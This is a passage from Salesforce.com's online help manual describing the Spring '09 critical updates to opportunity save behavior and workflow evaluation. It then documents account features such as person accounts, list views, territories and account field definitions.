- Opportunity and opportunity product triggers
- Opportunity and opportunity product workflow rules (email/tasks/field updates)

• The package was built on a save behavior that is different from your current setting
• The package developer has not confirmed that the package will function properly in both old and new save behavior
If your organization is blocked from installing a package we recommend that you contact the package developer in order to
obtain a version that is safe to download.

See Also:
Critical Updates Overview
Products, Price Books, and Schedules Overview

Activating the Spring '09 New Opportunity Save Behavior Update


To activate the Spring '09 New Opportunity Save Behavior update:

1. Click Setup ➤ Critical Updates.


2. Click Review next to the Spring '09 New Opportunity Save Behavior Update. Salesforce.com displays the update detail
page, which includes a list of the customizations in your organization that the update might affect.
3. Review each customization to assess if activating the update will cause any of your customizations to function in a way that
is not intended. Read the examples below and the table above to understand how your customizations might be affected
and how you can correct any unintended functionality. If the update will cause unintended behavior, modify the customization
before activating the update.
4. Click Activate.
5. Optionally, enter comments about this activation and click Activate. The comments appear in the activation history.

1120
Critical Updates Console Spring '09 Critical Updates

Deactivating the Spring '09 New Opportunity Save Behavior Update


To deactivate the Spring '09 New Opportunity Save Behavior Update:

1. Click Setup ➤ Critical Updates.


2. Click Review next to the Spring '09 New Opportunity Save Behavior Update. Salesforce.com displays the update detail
page.
3. Click Deactivate.
4. Optionally enter comments about this deactivation and click Deactivate. For example, you can explain why you are
deactivating the update and list any unintended behavior the update causes. The comments appear in the activation history.

Examples
Validation Rule Example
Consider a situation in which you have the following validation rule on opportunities, which requires the Stage field
to be set to Qualification if the opportunity is greater than $10,000:

OR (AND (ISPICKVAL (StageName, "Qualification"), Amount > 10000), Amount <= 10000)

If the Spring '09 New Opportunity Save Behavior Update is inactive, Salesforce.com runs this validation rule when you
edit an opportunity but not when you edit the opportunity product or schedule and it updates the opportunity amount
or quantity. As a result, if the amount of the opportunity product changes, the associated opportunity could be in an
invalid state.
If the Spring '09 New Opportunity Save Behavior Update is activated, Salesforce.com runs this validation rule both
when you edit an opportunity and when you edit the opportunity product if the changes to the opportunity product
affect the associated opportunity's amount or quantity. This prevents you from saving the opportunity product until the
correct stage is set on the opportunity.

Apex Trigger Example


Assume that an organization has an Apex trigger on an opportunity that sends updates to the Amount and Quantity
fields into a custom object that calculates commission for each sales rep.
Today, the trigger would only send these updates if the Amount or Qty was directly updated from the Opportunity
record (UI or API). However, if the Amount or Quantity fields were updated as a result of a change to an opportunity
product line item, the trigger on the opportunity would not fire and the details in the commission custom object would
not reflect the changes made to the overall opportunity.
When the New Opportunity Save Behavior is enabled, the triggers on the Opportunity will fire when the opportunity
product changes that roll-up to the Amount or Quantity field. The data in the commissions custom object will reflect
the accurate Amount and Qty values for commission calculations.

1121
Critical Updates Console Spring '09 Critical Updates

What is the Spring '09 Workflow Rule and Roll-Up Summary Field
Evaluations Update?
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Spring '09 Workflow Rule and Roll-Up Summary “View Setup”
Field Evaluations update:
To activate the Spring '09 Workflow Rule and Roll-Up “Customize Application” and “Modify All Data”
Summary Field Evaluations update:

The Spring '09 Workflow Rule and Roll-Up Summary Field Evaluations update affects the way Salesforce.com evaluates workflow
rules and roll-up summary fields on objects with Apex triggers. The update improves the accuracy of your data and prevents
the reevaluation of workflow rules in the event of a recursion. A recursion is a situation in which a part of your custom logic
(such as a roll-up summary field or Apex trigger) causes Salesforce.com to execute the logic twice when saving a record, often
resulting in undesirable behavior.
With this update:

• Salesforce.com evaluates each workflow rule and roll-up summary field only one time when you save a record.
• Roll-up summary fields can invoke Apex triggers and workflow rules on a parent record only one time when you save its
child record.
• Workflow rules always use current field values on a record.

Without this update, Salesforce.com is susceptible to evaluating the same workflow rule or roll-up summary field multiple
times when you save a record. This can result in duplicate workflow actions on child records, and can cause roll-up summary
fields to run Apex triggers and workflow rules twice on the parent record. In addition, workflow rules may not use current
field values.
Important: Activation of the Workflow Rule and Roll-Up Summary Field Evaluations update affects the behavior
of the Salesforce.com user interface, API, and desktop clients.

The Spring ’09 Workflow Rule and Roll-Up Summary Field Evaluations update is automatically and permanently enabled
for all new customers that sign up after the Spring '09 release in February 2009. These customers will not see the update on
the Critical Updates page.
Starting in March 09, salesforce.com will begin rolling out the Workflow Rule and Roll-Up Summary Field Evaluations
update for existing customers in phases. Once available, the update will be auto-enabled for organizations without affected
customizations. Customers with customizations that may be affected by the update will see the update on the Critical Updates
page. These customers will need to review the update and take the necessary actions in order to enable the update prior to its
auto-activation date.
Caution: For existing customers, the Spring '09 Workflow Rule and Roll-Up Summary Field Evaluations update
may affect your customizations if you have an Apex trigger with a trigger event of after update, after insert,
after undelete, or before delete that:

• Updates the current record

1122
Critical Updates Console Spring '09 Critical Updates

• Updates any child record of the current record, and the current record has a roll-up summary field
• Updates an unrelated object that has an Apex trigger that causes an update on the current record
• Deletes the current record or updates an unrelated object that has an Apex trigger that deletes the current record
(after update or after insert triggers only)

If your organization has such customizations, read the examples to understand how your customizations might be
affected and how you can correct any unintended functionality.

If the Spring '09 Workflow Rule and Roll-Up Summary Field Evaluations update is not activated by default in your organization,
salesforce.com will permanently activate the update on the date specified in the auto-activation column on the Critical Updates
page. Before that time, salesforce.com recommends testing the update by activating it in either your Developer Sandbox or
your production environment during off-peak hours. You can activate and deactivate the update an unlimited number of times.
Leave the update activated if it does not cause any unintended behavior.

See Also:
Critical Updates Overview
What is the Spring '09 New Opportunity Save Behavior Update?
Managing Workflow Rules

Activating the Spring '09 Workflow Rule and Roll-Up Summary Field Evaluations Update
To activate the Spring '09 Workflow Rule and Roll-Up Summary Field Evaluations update :

1. Click Setup ➤ Critical Updates.


2. Click Review next to the Spring '09 Workflow Rule and Roll-Up Summary Field Evaluations update. Salesforce.com
displays the update detail page and impact analysis, which includes a list of the customizations in your organization that
the update might affect.
Caution: The impact analysis may not include all of the customizations in your organization that the update might
affect.

3. Review your customizations to see whether the update causes any unintended behavior.
Tip: Read the examples below to understand how your customizations might be affected and how you can correct
any unintended functionality. If the update will cause unintended behavior, modify the customization before
activating the update.

4. Click Activate.
5. Optionally, enter comments about this activation. For example, if your organization has multiple administrators, you can
explain which of the customizations you reviewed before activating the update. The comments appear in the activation
history.
6. Click Activate.

Deactivating the Spring '09 Workflow Rule and Roll-Up Summary Field Evaluations Update
To deactivate the Spring '09 Workflow Rule and Roll-Up Summary Field Evaluations update :

1123
Critical Updates Console Spring '09 Critical Updates

1. If you created any cross-object field update workflow actions after activating the Spring '09 Workflow Rule and Roll-Up
Summary Field Evaluations update, delete those field updates. A cross-object field update is a workflow action that can
update a value on the record of a related object. Cross-object field updates cannot exists in your system without the Spring
'09 Workflow Rule and Roll-Up Summary Field Evaluations update. For more information, see Managing Field Updates
on page 812.
2. Click Setup ➤ Critical Updates.
3. Click Review next to the Spring '09 Workflow Rule and Roll-Up Summary Field Evaluations update. Salesforce.com
displays the update detail page.
4. Click Deactivate.
5. Optionally, enter comments about this deactivation. For example, you can explain why you are deactivating the update
and list any unintended behavior the update causes. The comments appear in the activation history.
6. Click Deactivate.

Examples
To understand how the Spring '09 Workflow Rule and Roll-Up Summary Field Evaluations update might affect your
organization, consider a situation in which you have the following customizations:

• An Apex post trigger on accounts with a trigger event of after update, after insert, after undelete, or before
delete that creates an opportunity when you modify an account with an annual revenue greater than $1,000,000
• A workflow rule on accounts that assigns a task to the account's owner when you modify an account that has an annual
revenue greater than $1,000,000
• A roll-up summary field on accounts that shows the number of opportunities associated with the account

If the Spring '09 Workflow Rule and Roll-Up Summary Field Evaluations update is not activated and you create or modify
an account that has an annual revenue greater than $1,000,000, the following events happen when you save your changes:

1. The Apex post trigger creates an opportunity.


2. The new opportunity causes the roll-up summary field on the account to increment.
3. The workflow rule assigns a task to the account's owner.
4. Salesforce.com interprets the change to the roll-up summary field as an additional modification to the account and reevaluates
the workflow rule, resulting in a duplicate task assigned to the account's owner.

If the Spring '09 Workflow Rule and Roll-Up Summary Field Evaluations update is activated and you modify an account that
has an annual revenue greater than $1,000,000:

1. The Apex post trigger creates an opportunity.


2. The roll-up summary field on the account increments.
3. The workflow rule assigns a task to the account's owner.
4. Salesforce.com recognizes that the workflow rule was already evaluated and does not reevaluate it. No duplicate tasks are
assigned and no duplicate notifications are sent to the account's owner.

1124
ACCOUNTS

Accounts Overview
Business accounts available in: All Editions
Person accounts available in: Enterprise, Unlimited, and Developer Editions

Accounts are your organization's customers, competitors, and partners. Each account stores information such as name, address,
and phone numbers. For each account, you can store related information such as opportunities, activities, cases, partners,
contracts, and notes.
The Accounts tab displays a home page that lets you quickly create and locate all types of accounts. You can also sort and filter
your accounts using standard and custom list views. In addition, this tab lets you view and edit detailed information on each
account to which you have access.
If your organization has been enabled with person accounts, you have two different kinds of accounts: business accounts and
person accounts. Business accounts represent the other companies with which your organization does business. For business
accounts, the individuals who work at those companies are represented by contacts. Person accounts represent the individual
consumers with whom your company does business, such as a financial services client, an online shopper, or a vacation traveler.
Depending on your organization's business model, you may use business accounts, person accounts, or both.
If your organization has been enabled with PRM, you can create partner accounts. Partner accounts are business accounts that
a channel manager uses to manage partner organizations, partner users, and activities.
Note: In the online help and other Salesforce.com documentation, the word “account” by itself always refers to both
business accounts and person accounts. The terms “business account” and “person account” are used when there are
differences between the two kinds of accounts.

See Also:
Accounts Home
What is a Person Account?
Partner Relationship Management Overview

What is a Person Account?


Business accounts available in: All Editions
Person accounts available in: Enterprise, Unlimited, and Developer Editions

Note: Person accounts are not enabled by default in Salesforce.com. To quickly verify whether your organization uses
person accounts, see if you have an option to select Person Account as the record type when you create a new account.
To request person accounts, check with your administrator or contact salesforce.com.

1125
Accounts What is a Person Account?

A person account is an individual consumer with whom you do business, such as a financial services client, an online shopper,
or a vacation traveler. Person accounts are applicable to organizations that operate on a business-to-consumer model as opposed
to a business-to-business model.
In a business-to-business model, there is a natural differentiation between the other businesses with whom you work and the
people associated with those businesses. In Salesforce.com, that translates to accounts and contacts having different fields,
features, and tabs. In a business-to-consumer model, because you are providing products or services to people rather than
companies or organizations, the distinction between accounts and contacts does not exist. Consequently, person accounts in
Salesforce.com have a combination of fields from both accounts and contacts, and can be used as contacts in most situations
that involve contacts. For example, business accounts do not have standard fields for email address and job title, but person
accounts do. Also, person accounts can be associated with campaigns just like contacts, but business accounts cannot. For
details on the contact-specific functionality that applies to person accounts, see Person Account Behaviors on page 1126.
The ability for person accounts to act like contacts is made possible by applying an account record type which has special
properties. The default name of this record type is “Person Account.” Your administrator may have changed the name of this
record type, and also may have created more account record types that have the same special properties. For more information
on record types, see Managing Record Types on page 611 and Changing the Record Type Field on page 1161.
Note: In the online help and other Salesforce.com documentation, the word “account” by itself always refers to both
business accounts and person accounts. The terms “business account” and “person account” are used when there are
differences between the two kinds of accounts.

See Also:
Person Account Behaviors
Accounts Overview
Contacts Overview
Tip sheet: Using Person Accounts
Implementation guide: Implementing Person Accounts
Disabling and Deactivating Portal Users

Person Account Behaviors


Business accounts available in: All Editions
Person accounts available in: Enterprise, Unlimited, and Developer Editions

Note: Person accounts are not enabled by default in Salesforce.com. To request person accounts, contact salesforce.com.

Person accounts are accounts that can also be used as contacts in many situations. The following table summarizes the key
areas in which person accounts differ from business accounts or have unique considerations:

Salesforce.com Functionality Person Account Behavior


Account Merge Person accounts can only be merged with other person
accounts. See Merging Duplicate Accounts on page 1154.

1126
Accounts What is a Person Account?

Salesforce.com Functionality Person Account Behavior


Account Quick Create
On the accounts home page, the fields in the Quick Create
area are based on whether the default account record type set
on your profile is a person account record type or a business
account record type.

Accounts Person accounts are accounts that support contact fields and
capabilities.
Activities Person accounts can be associated with activities using either
the Name or Related To fields.
As with contacts, person accounts can be invited to group
events.

Campaigns As with contacts, person accounts can be added to campaigns


and have a Campaign History related list.
Cases On cases, person accounts can be entered in the Account
Name field, the Contact Name field, or both.

Contact Roles As with contacts, you can add person accounts to the Contact
Roles related list on cases, contracts, and opportunities.
Contacts In most situations, you can use person accounts as if they were
contacts. You can include them in all contact list views except
the Recent Contacts list on the contacts home page.
Unlike business accounts, person accounts do not have a
Contacts related list. However, you can use the Partners related
list to track relationships between different person accounts.

Custom Objects Custom objects with relationships to either accounts or


contacts can be added as related lists on person accounts.
Customer Portal As with contacts, person accounts can be enabled as users for
your Customer Portals. Note that Customer Portals are only
available for Enterprise and Unlimited Editions.
Desktop Integration Person accounts are currently supported in Connect Offline
and Connect for Outlook version 3.2 and later; see Working
with Person Accounts in Connect for Outlook on page 2256.
They are not currently supported in Connect for Lotus Notes.
Email As with contacts, you can send individual emails and mass
emails to person accounts.
Field History Account fields for person accounts can be tracked using the
account field history settings, but contact fields for person
accounts are configured on the contact field history settings
page. For more information, see Tracking Field History on
page 457.

1127
Accounts What is a Person Account?

Salesforce.com Functionality Person Account Behavior


Fields A predetermined combination of standard account and contact
fields is available on person account page layouts. In addition,
all custom account and contact fields are available. See Person
Account Fields on page 1141.
Note that some business account fields are not supported for
person accounts, such as Parent Account and View
Hierarchy. Also, the Reports To field on contacts is not
supported for person accounts.
You can rename person account field labels so alternate terms
display in Salesforce.com.

Icons Person accounts have a person icon ( ), while business


accounts have a folder icon ( ). The person account icon can
be added to search results, list views, and lookup dialogs using
the criteria “Is Person Account equals True.”
Import Wizards Person accounts have unique import wizards at Setup ➤
Import ➤ Import My Person Accounts and Setup ➤ Data
Management ➤ Import Person Accounts. See What Is
Imported for Person Accounts? on page 291.
Leads Leads with a blank Company field are converted to person
accounts. The default person account record type for your
profile is applied to the new person account. Note that you
can only create leads with a blank Company field using the
Force.com API. Leads with a value in the Company field are
converted to business accounts. The default business account
record type for your profile is applied to the new business
account. See Converting Leads on page 1683 and Assigning
Record Types to Profiles on page 174.
List Views Person accounts appear in both account and contact list views.
Add the Is Person Account icon to list views to visually
differentiate person accounts from other records, and to include
or exclude person accounts in a list.
Mobile Configurations Mobile configurations that include the account object
automatically deliver person accounts and business accounts
to users' mobile devices.
Person accounts can be excluded from the configuration's data
set using the criteria “Is Person Account equals False.”
To mobilize only person accounts, use the criteria “Is
Person Account equals True.” If a mobile configuration
includes accounts but not contacts, users assigned to that
configuration will see a Contacts tab in the mobile client
application, and the tab will contain person accounts.

1128
Accounts What is a Person Account?

Salesforce.com Functionality Person Account Behavior


Page Layouts Person accounts have unique page layouts that can have
account fields, contact fields, account custom links, account
related lists, and contact related lists. Person accounts page
layouts do not support the Reports To and Parent
Account fields. You cannot add a contact formula field that
references the account object to person accounts page layouts.
Partners You can use the Partners related list to relate person accounts
to each other. We recommend that you rename the Partners
related list to “Related Accounts,” “Relationships,” or a similar
term that reflects how your person accounts are connected.
Record Types Administrators can configure multiple record types for person
accounts. A person account can only be changed to another
person account record type.
Renamed Tabs and Standard Fields Administrators can customize the names of tabs and fields
related to person accounts, such as:
• The Accounts tab name, the business account field
label, and the person account field label.
• The Contacts tab name and the business contact
field label.

Search Person accounts only appear in account search results.


Administrators can add the Is Person Account icon to
account search layouts in order to differentiate person accounts
from business accounts.
Self-Service Portal As with contacts, person accounts can be enabled as users for
your Self-Service portal.
Sharing Settings Contact sharing is not available if you have enabled person
accounts. The organization-wide default for contacts is set to
Controlled by Parent and is not editable.
If your organization has customized your contact sharing
settings and you want to enable person accounts, change your
organization-wide default for contacts to Controlled by Parent,
which removes all your contact sharing rules and manually
shared contacts.

Stay-in-Touch Requests As with contacts, you can send individual and mass
Stay-in-Touch requests to person accounts.
Storage Person accounts count against both account and contact
storage because the API considers each person account to
consist of one account as well as one contact.

1129
Accounts Accounts Home

Salesforce.com Functionality Person Account Behavior


Workflow Rules Creating or editing a person account triggers account workflow
rules. See Managing Workflow and Approvals on page 794.

See Also:
What is a Person Account?
Tip sheet: Tips & Hints for Person Accounts
Administrator setup guide: Implementing Person Accounts
Disabling and Deactivating Portal Users

Accounts Home
Business accounts available in: All Editions
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Accounts tab: “Read” on accounts
To view accounts: “Read” on accounts
To create business accounts: “Create” on accounts
To create person accounts: “Create” on accounts and contacts

Clicking on the Accounts tab displays the accounts home page.

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• In the Recent Accounts section, select an item from the drop-down list to display a brief list of the top accounts matching
that criteria. From the list, you can click any account name to go directly to the account detail. Toggle the Show 25 items
and Show 10 items links to change the number of items that display. The fields you see are determined by the “Accounts
Tab” search layout defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited,
and Developer Editions only). The Recent Accounts choices are:

Recent Accounts Choice Description


Recently Viewed The last ten or twenty-five accounts you viewed, with the
most recently viewed account listed first. This list is derived
from your recent items and includes records owned by you
and other users.

1130
Accounts Accounts Home

Recent Accounts Choice Description


Recently Created The last ten or twenty-five accounts you created, with the
most recently created account listed first. This list only
includes records owned by you.
Recently Modified The last ten or twenty-five accounts you updated, with the
most recently updated account listed first. This list only
includes records owned by you.

• If Quick Create has been enabled by your administrator, you can add a new account from the Quick Create area in the
sidebar on the accounts home page. Fill in the fields to add a new account. If your organization uses person accounts and
your default record type for the Accounts tab is a person account record type, then the Quick Create fields include First
Name and Last Name instead of Account Name.

Alternatively, click New next to the Recent Accounts section to create a new account.
• Under Reports, click any report name to jump to that report.
• Select any of the links under Tools to access utilities for managing your accounts.
• If accounts are shared with external contacts via Salesforce to Salesforce, choose one of the list views under Accounts from
Connections to view accounts that your business partners have shared with you.

Note: If your organization has Salesforce for Wealth Management, accounts are called clients.

See Also:
Accounts Overview
What is a Person Account?
Displaying and Editing Accounts
Creating Accounts
Merging Duplicate Accounts
Deleting Accounts
Creating Custom List Views

1131
Accounts Viewing Account Lists

Viewing Account Lists


Business accounts available in: All Editions
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view account lists: “Read” on accounts
To create business accounts: “Create” on accounts
To create person accounts: “Create” on accounts and contacts

Note: If your administrator has enabled enhanced lists, you can use additional tools to customize, navigate, manage,
and edit list data.

The accounts list page displays a list of accounts in your current view. From this page, you can view detailed account information
and access other related information.

• Click an account name to view the account detail.


• Click Edit or Del next to an account name to edit or delete the account. See Displaying and Editing Accounts on page
1133.
• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Printable View to display the current list view in a format that is ready for printing.
• Click New Account or select Account from the Create New drop-down list in the sidebar to create an account. These
options display only if you have the “Create” permission on accounts. See Creating Accounts on page 1137.
• Click any column heading to sort the accounts in ascending order using that column’s information. Click a column heading
a second time to sort in descending order.
If your organization uses person accounts and your current list view includes the field Is Person Account, the column
heading for this field is the person account icon ( ). Click the person account icon in the header to sort person accounts
at either the top or bottom of the list.
• At the top of the list, click a letter to display the contents of the sorted column that begin with that character.
• Click the Next Page (or Previous Page) link to go to the next or previous set of accounts.
• At the bottom of the account list, select fewer or more to view a shorter or longer display list.
• Click the Open Calendar link at the bottom of the page to display a weekly view of a calendar underneath the list.
Then, you can drag a record from the list to a time slot on the calendar to quickly create an event associated with the record.
Note that your administrator controls the availability of drag-and-drop scheduling.

1132
Accounts Displaying and Editing Accounts

Note: If your organization has Salesforce for Wealth Management, accounts are called clients.

See Also:
Accounts Home
What is a Person Account?
Customizing User Interface Settings
Working with Enhanced Lists
Using Inline Editing in Lists

Displaying and Editing Accounts


Business accounts available in: All Editions
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view accounts: “Read” on accounts
To change business accounts: “Edit” on accounts
To change person accounts: “Edit” on accounts and contacts
To enable partner accounts:
“Manage Partners”

To disable partner accounts: “Edit” on accounts


AND
“Manage Partners”

To disable Customer Portal accounts: “Edit” on accounts


AND
“Edit Self-Service Users”

Displaying Accounts
Once you have located an account on the Accounts home or list pages, click the account name to display detailed
information.
Tip: If your organization has enabled hover details, hover over any lookup field on the detail page to view key
information about a record before clicking into that record's detail page.

1133
Accounts Displaying and Editing Accounts

Note: If you are unable to see related records such as opportunities and contacts, belonging to portal users, ask
your Salesforce.com administrator to add you to the portal share groups with access to the portal users' data.

Editing Accounts
To update account details, click Edit, and then change the fields you want to update. When you finish, click Save. You
can also click Save & New to save the account and create another.
Note: If your organization enabled inline editing, you can edit fields directly on the detail page.

Tagging Accounts
If tags have been enabled, click Add Tags or Edit Tags in the Tags area directly under the title bar to tag the current
record. If the record is already tagged, click one of the tag names to view a list of all records with that tag.

Sharing
In Professional, Enterprise, Unlimited, and Developer Edition organizations, click Sharing to share an account and its
related information with other users, groups, or roles.

Connect Offline
If you use Connect Offline, you can update a subset of your accounts without an Internet connection.
To determine which accounts you can update, either an administrator assigns a briefcase configuration to your profile,
or you can change your Connect Offline briefcase settings. In addition, you can click the Include Offline button on an
account detail page to include the account in your offline briefcase. You can select up to 100 accounts to include in your
offline briefcase.

Enabling and Disabling Partner Accounts


If your organization has enabled a partner portal, click Enable As Partner to enable an account as a partner account.
To disable an account as a partner account, click Disable Partner Account. Disabling a partner account disables up to
15 partner portal users associated with the account and permanently deletes all of the account's partner portal roles and
groups. You cannot restore deleted partner portal roles and groups.
After you disable a partner account, you can re-enable individual contacts as partner portal users. However, re-enabling
a contact for a partner portal creates a new portal user and role that is not associated with the previous partner portal
user and role in any way.
We recommend disabling a partner account if the account was accidentally enabled for portal access.

Enabling and Disabling Person Accounts as Customer Portal Users


In Enterprise and Unlimited Edition organizations where person accounts and a Customer Portal have been enabled,
click Enable Customer Portal User on the person account detail page to allow a person account to use your Customer
Portal. After the person account is enabled, click View Customer Portal User on the person account detail page to view
or edit a person account’s access to your Customer Portal.
To disable a person account for a Customer Portal, click Disable Customer Portal Account. If you re-enable a person
account for a Customer Portal, a new portal user is created and he or she is not associated with the previous Customer
Portal user in any way.

1134
Accounts Displaying and Editing Accounts

Disabling Customer Portal Accounts


If your organization has enabled a Customer Portal, and you want to disable an account for a Customer Portal, click
Disable Customer Portal Account. Disabling a Customer Portal account disables up to 100 Customer Portal users
associated with the account and permanently deletes all of the account's Customer Portal roles and groups. You cannot
restore deleted Customer Portal roles and groups.
You cannot re-enable an account for a Customer Portal portal. However, you can re-enable individual contacts as
Customer Portal users. Re-enabling a contact for a Customer Portal creates a new portal user and role that is not associated
with the previous Customer Portal user and role in any way.
We recommend disabling a Customer Portal account if contacts on the account were accidentally enabled for portal
access.
You can't disable Customer Portal accounts with high-volume Customer Portal users.

Account Related Lists


The lower portion of the page provides information related to the account including activities, opportunities, cases,
partners, contracts, account teams, assets, and notes. The related lists you see are determined by your personal
customization, any customizations your administrator has made to page layouts, your permissions to view related data,
and the kind of account you are viewing—a business account or a person account. You can click on individual items to
display additional details. Click more at the bottom of the page or View More below a related list to display more items.
Clicking the New button lets you directly add new items. For example, clicking New Contact allows you to add a new
contact.
Note: If enabled by your administrator, related list hover links display at the top of each detail page. Hover your
mouse over a related list hover link to display the corresponding related list and its number of records in an
interactive overlay that allows you to quickly view and manage the related list items. You can also click a related
list hover link to jump down to the content of the related list without having to scroll down the page.

Printing Accounts
To open a printable display of all information for a record, click Printable View on the detail page.

To return to the last list page you viewed, click Back to list at the top of any account detail page. If your organization has
enabled collapsible page sections, use the arrow icons next to the section headings to expand or collapse each section on the
detail page. For more information, see Navigating on page 42.
Note: As the owner of an account, you can normally view all data related to that account.
However, your administrator can set an option on your role that determines whether you can view opportunities that
you do not own that are associated with your accounts.
Also, if your accounts are assigned to territories, your administrator can set options that determine whether users in
that territory can view, edit, transfer, or delete your accounts.

1135
Accounts Displaying and Editing Accounts

Note: If your organization has Salesforce for Wealth Management, accounts are called clients.

See Also:
Account Fields
Viewing Parent Accounts
Creating Accounts
Deleting Accounts
Searching for Accounts
Changing the Record Type Field
Adding Translated Names
Changing the Territories of an Account
Account History

Changing the Territories of an Account


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change the territories of an account: “Manage Territories”
OR
You are a forecast manager, Forecast managers can
manage territories is selected, and you are working
below your position in the territory hierarchy.

To modify an account's manually assigned territories:

1. From the account detail page, click Change next to the Territories field.
2. At the Rule-based territory assignments list, view the territories that contain the account due to active account
assignment rules. You cannot use this page to remove the account from these territories; to do so you must modify the
account assignment rules that evaluated the account. For more information, see Managing Account Assignment Rules on
page 2147.
3. If the account has existing manual assignments to one or more territories, the names of those territories will appear in the
Selected territories list.
4. Click Select and Deselect to move territories between the Available territories list and the Selected territories list.
5. Optionally, click Horizontal View or Vertical View in the drop-down list to place the Selected territories list either
alongside or below the Available territories list.

1136
Accounts Creating Accounts

6. When the Selected territories list contains the territories to which the account should be manually assigned, click Save to
finish and return to the account detail page.

See Also:
Displaying and Editing Accounts
Territory Management Overview
Manually Assigning Accounts to Territories

Account History
Business accounts available in: All Editions
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view accounts: “Read” on accounts

The Account History related list of an account detail page tracks the changes to the account. Any time a user modifies any of
the standard or custom fields whose history is set to be tracked on the account, a new entry is added to the Account History
related list. For person accounts, this includes any relevant contact fields that are set to be tracked. All entries include the date,
time, nature of the change, and who made the change. Modifications to the related lists on the account are not tracked in the
account history. For information about setting up which fields are tracked, see Tracking Field History on page 457.

Creating Accounts
Business accounts available in: All Editions
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view accounts: “Read” on accounts
To create business accounts: “Create” on accounts
To create person accounts “Create” on accounts and contacts

To create a new account, select Account from the Create New drop-down list in the sidebar, or click New next to Recent
Accounts on the accounts home page. If your organization has enabled person accounts, you must first specify whether the
record type is a business account or person account. Next, enter the information for the account. Click Save when you are
finished, or click Save & New to save the current account and add another.

1137
Accounts Account Fields

To specify that a business account is a subsidiary of another business account, fill in the Parent Account field. You can
then view a hierarchy of account relationships. The Parent Account field is not available for person accounts.
Use the Account Site field to designate different locations of the same company. For example, Acme.com may have offices
in Paris and London. Create two accounts, both called Acme.com, but with Account Site values of Paris and London,
respectively.
If Quick Create has been enabled by your administrator, you can add a new account from the Quick Create area in the sidebar
on the accounts home page. Fill in the fields to add a new account. If your organization uses person accounts and your default
record type for the Accounts tab is a person account record type, then the Quick Create fields include First Name and Last
Name instead of Account Name.

Enterprise, Unlimited, and Developer Edition organizations can activate record types and ask you to choose a Record Type
when creating an account. This determines the picklist values available when creating and editing a record.
If your organization uses divisions, the division of a new account is automatically set to your default division, unless you
manually select a different one.
If your organization uses territory management, account assignment rules can automatically assign newly created accounts to
territories. See Territory Management Overview on page 2131.

See Also:
Account Fields
Sharing Accounts
Viewing Parent Accounts
Accounts Home
What is a Person Account?

Account Fields

See Also:
Displaying and Editing Accounts
Creating Accounts
What is a Person Account?
Viewing Fields

Business Account Fields


The available fields vary according to which Salesforce.com Edition you have.

A business account has the following fields, listed in alphabetical order. Depending on your page layout and field-level security
settings, some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer
Editions only.)

1138
Accounts Account Fields

Note: Administrators can customize the display labels of standard fields on page 407.

Field Description
Account Currency The default currency for all currency amount fields in the
account. Amounts display in the account currency and are also
converted to the user’s personal currency. Available only for
organizations that use multiple currencies.
Account Division Division to which the account belongs. Records related to the
account, such as contacts and opportunities, automatically
inherit the account’s division. Available only in organizations
that use divisions to segment their data.
Account Name Name of company. Up to 255 characters are allowed in this
field.
Account Name (Local) The name of the account translated into the local language.
Account Number Tracking or reference number for account. Up to 40 characters
are allowed in this field.
Account Owner Assigned owner of account. Not available in Personal Edition.
Account Record Type Name of the field that determines what picklist values are
available for the record. Available in Enterprise, Unlimited,
and Developer Editions.
Account Site Name of the account’s location, for example, Headquarters or
London. Up to 80 characters are allowed in this field.
Annual Revenue Amount of annual reported revenue.
Billing Street Street address used for billing. Up to 255 characters are allowed
in this field.
Billing City City portion of billing address. Up to 40 characters are allowed
in this field.

Billing State/Province State or province portion of billing address. Up to 20 characters


are allowed in this field.

Billing Zip/Postal Code Zip or postal code portion of billing address. Up to 20


characters are allowed in this field.
Billing Country Country portion of billing address. Up to 40 characters are
allowed in this field.
Created By User who created the account, including creation date and
time. (Read only)
Description Description of account. Up to 32 KB of data are allowed in
this field. Only the first 255 characters display in reports.

1139
Accounts Account Fields

Field Description
Employees Number of people employed by the account.
Exclude from territory assignment rules When checked, shields the account from being evaluated when
account assignment rules are run, preventing it from being
automatically assigned to territories. Also, if the account is
already assigned to territories as a result of assignment rules,
checking this box removes the account from those territories.
This checkbox only affects rule-based account assignments
and has no effect on manual account assignments. See
Territory Management Overview on page 2131.
Fax Fax number. Up to 40 characters are allowed in this field.
Industry Primary business of account. Entry is selected from a picklist
of available values, which are set by an administrator. Each
picklist value can have up to 40 characters.
Modified By User who last changed the account fields, including
modification date and time. This does not track changes made
to any of the related list items on the account. (Read only)
Ownership Ownership of company, for example, public or private. Entry
is selected from a picklist of available values, which are set by
an administrator. Each picklist value can have up to 40
characters.
Parent Account Parent company for companies that are subsidiaries of a larger
company or organization. The parent account must be an
existing account in Salesforce.com. You can enter the account
name, or select (or optionally, create) the account using the
lookup icon.
Partner Account Read-only field that indicates whether an account is a partner
account.
Phone Primary phone number of account. Up to 40 characters are
allowed in this field.
Rating Categorization of how you rate this account, for example, Hot,
Cold. Entry is selected from a picklist of available values, which
are set by an administrator. Each picklist value can have up to
40 characters.
Run territory assignment rules on save When checked, causes account assignment rules to run when
the account is edited and saved. When customizing the page
layout for accounts, an administrator can control whether this
checkbox displays and whether it is checked by default. See
Territory Management Overview on page 2131.
Shipping Street Primary mailing or shipping street address of account. Up to
255 characters are allowed in this field.

1140
Accounts Account Fields

Field Description
Shipping City City portion of primary mailing or shipping address. Up to
40 characters are allowed in this field.
Shipping State/Province State or province portion of primary mailing or shipping
address. Up to 20 characters are allowed in this field.
Shipping Zip/Postal Code Zip or postal code portion of primary mailing or shipping
address. Up to 20 characters are allowed in this field.
Shipping Country Country portion of primary mailing or shipping address. Up
to 40 characters are allowed in this field.
